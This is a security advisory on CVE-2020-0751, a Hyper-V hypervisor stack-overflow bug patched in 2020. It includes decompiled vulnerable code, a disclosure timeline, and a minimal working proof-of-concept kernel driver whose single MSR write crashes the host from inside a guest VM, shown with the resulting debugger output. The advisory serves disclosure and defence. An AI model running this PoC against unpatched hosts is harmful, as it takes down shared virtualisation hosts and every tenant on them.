Microsoft Hyper-V Stack Overflow Denial of Service

A bug present in the hvix64 module (hypervisor) causes infinite recursion, leading to a stack overflow.

Vendor  Microsoft, www.microsoft.com
Affected Products  Windows Hyper-V
Affected Versions  Windows 10 and Windows Server without KB4532693 updates
CVE ID CVE-2020-0751
Severity  Important
Author  Daniel Fernandez Kuehr (@ergot86), Blue Frost Security GmbH 

I. Platform

Microsoft Windows Version 10.0.18362.449
Microsoft Hypervisor Kernel Version 18362

Earlier versions also affected.

II. Technical Details

A 'wrmsr' instruction executed within a Hyper-V guest VM causes a vm-exit condition with exit code 32 (VMX_VMEXIT_WRMSR). The hypervisor handles such an event and different actions are taken depending on the MSR indexed by RCX, which can include the emulation of real CPU MSRs or synthetic ones implementing hypervisor specific functionality.

When handling guest VM writes to some MCA-related MSRs (for example MCA_DESTAT 0xC0002008) the execution path leads to an infinite recursive call.

The affected code is the following:

__int64 __fastcall sub_FFFFF80000260EE0(_QWORD *a1, __int64 a2, __int64 a3)
{
  unsigned __int16 v3; // r9
  unsigned __int16 v4; // ax

  v3 = 6;
  if ( a2 == 0x400 || a2 == 0x280 )
    return 0;
  if ( a2 != 0x401 )
  {
    if ( a2 == 0x402 )
    {
      v4 = 0;
      if ( a3 )
        return v3;
      a1[141] = 0i64;
      return v4;
    }
    if ( a2 == 0x403 )
    {
      v4 = 0;
      if ( dword_FFFFF800006B21C8 == 1 )
      {
        if ( a3 )
          return v3;
        a1[142] = 0i64;
      }
      return v4;
    }

    // BUGGY CODE HERE
    if ( a2 > 0xC0001FFF && (a2 <= 0xC0002006 || (a2 + 0x3FFFDFF8) <= 5) )
      return (sub_FFFFF80000260EE0)(a1, a2, a3, 6i64);
    return 0;
  }
  v4 = 0;
  if ( a3 )
    return v3;
  a1[140] = 0i64;
  return v4;
}

If the MSR index (a2) is in the 0xC0002000-0xC000200D range the function will call itself with the same unchanged arguments.

There doesn't seem to be any logical reason for the recursive call, moreover that kind of pattern is avoided in constrained stack space situations like hypervisor or kernel code. The cause of the bug is probably a typo calling a function with similar name to the caller (it is common in Microsoft to have many similar named functions with variations in the function prefix or suffix).

III. Impact

The stack gets filled with the callers return address and uninitialized space from the function frame, as a consequence the host crashes after consuming all the stack.

IV. Proof of Concept

Below we provide the PoC code that triggers the bug condition. The code must be compiled as a Windows Kernel Driver and get loaded in a guest VM running under Hyper-V. The driver must be either signed, or signing enforcement (and SecureBoot) disabled in the VM.

#include <intrin.h>
#include <ntddk.h>

NTSTATUS
DriverEntry(
    _In_ PDRIVER_OBJECT  DriverObject,
    _In_ PUNICODE_STRING RegistryPath
    )
{
    __writemsr(0xC0002008, 0);
    return STATUS_SUCCESS;
}

As soon as the driver gets loaded it should crash the host hypervisor in the following way:

Microsoft Hypervisor Kernel Version 18362 MP (2 procs) Free x64
Built by: 18362.0.GitEnlistment(winpbld).191019-2253
Machine Name:
Primary image base = 0xfffffa10`b8000000 Loaded module list =
0xfffffa10`b86762f0
System Uptime: not available
Unable to add extension DLL: hvexts

Access violation - code c0000005 (!!! second chance !!!)
hv+0x296699:
fffffa10`b8296699 e842a8fcff      call    hv+0x260ee0 (fffffa10`b8260ee0)
1: kd> dq rsp-8
00000100`00400ff8  ????????`???????? 00000000`00000000
00000100`00401008  ffffe802`0020c000 00000000`00003000
00000100`00401018  00000000`00000000 00000000`00000000
00000100`00401028  fffffa10`b829669e 00000000`00000000
00000100`00401038  00000000`00000000 00000000`00000000
00000100`00401048  00000000`00000000 00000000`00000000
00000100`00401058  fffffa10`b829669e 00000000`00000000
00000100`00401068  00000000`00000000 00000000`00000000
1: kd> u rip L2
hv+0x296699:
fffffa10`b8296699 e842a8fcff      call    hv+0x260ee0 (fffffa10`b8260ee0)
fffffa10`b829669e 90              nop

V. Disclosure Timeline

2019-11-07

Bug report sent to secure@microsoft.com

2020-01-17

Microsoft confirms the bounty award of 15.000 USD.

2020-02-11

Microsoft releases the patch.

 

Unaltered electronic reproduction of this advisory is permitted. For all other reproduction or publication, in printing or otherwise, contact research@bluefrostsecurity.de for permission. Use of the advisory constitutes acceptance for use in an "as is" condition. All warranties are excluded. In no event shall Blue Frost Security be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Blue Frost Security has been advised of the possibility of such damages.

Copyright 2020 Blue Frost Security GmbH. All rights reserved. Terms of use apply.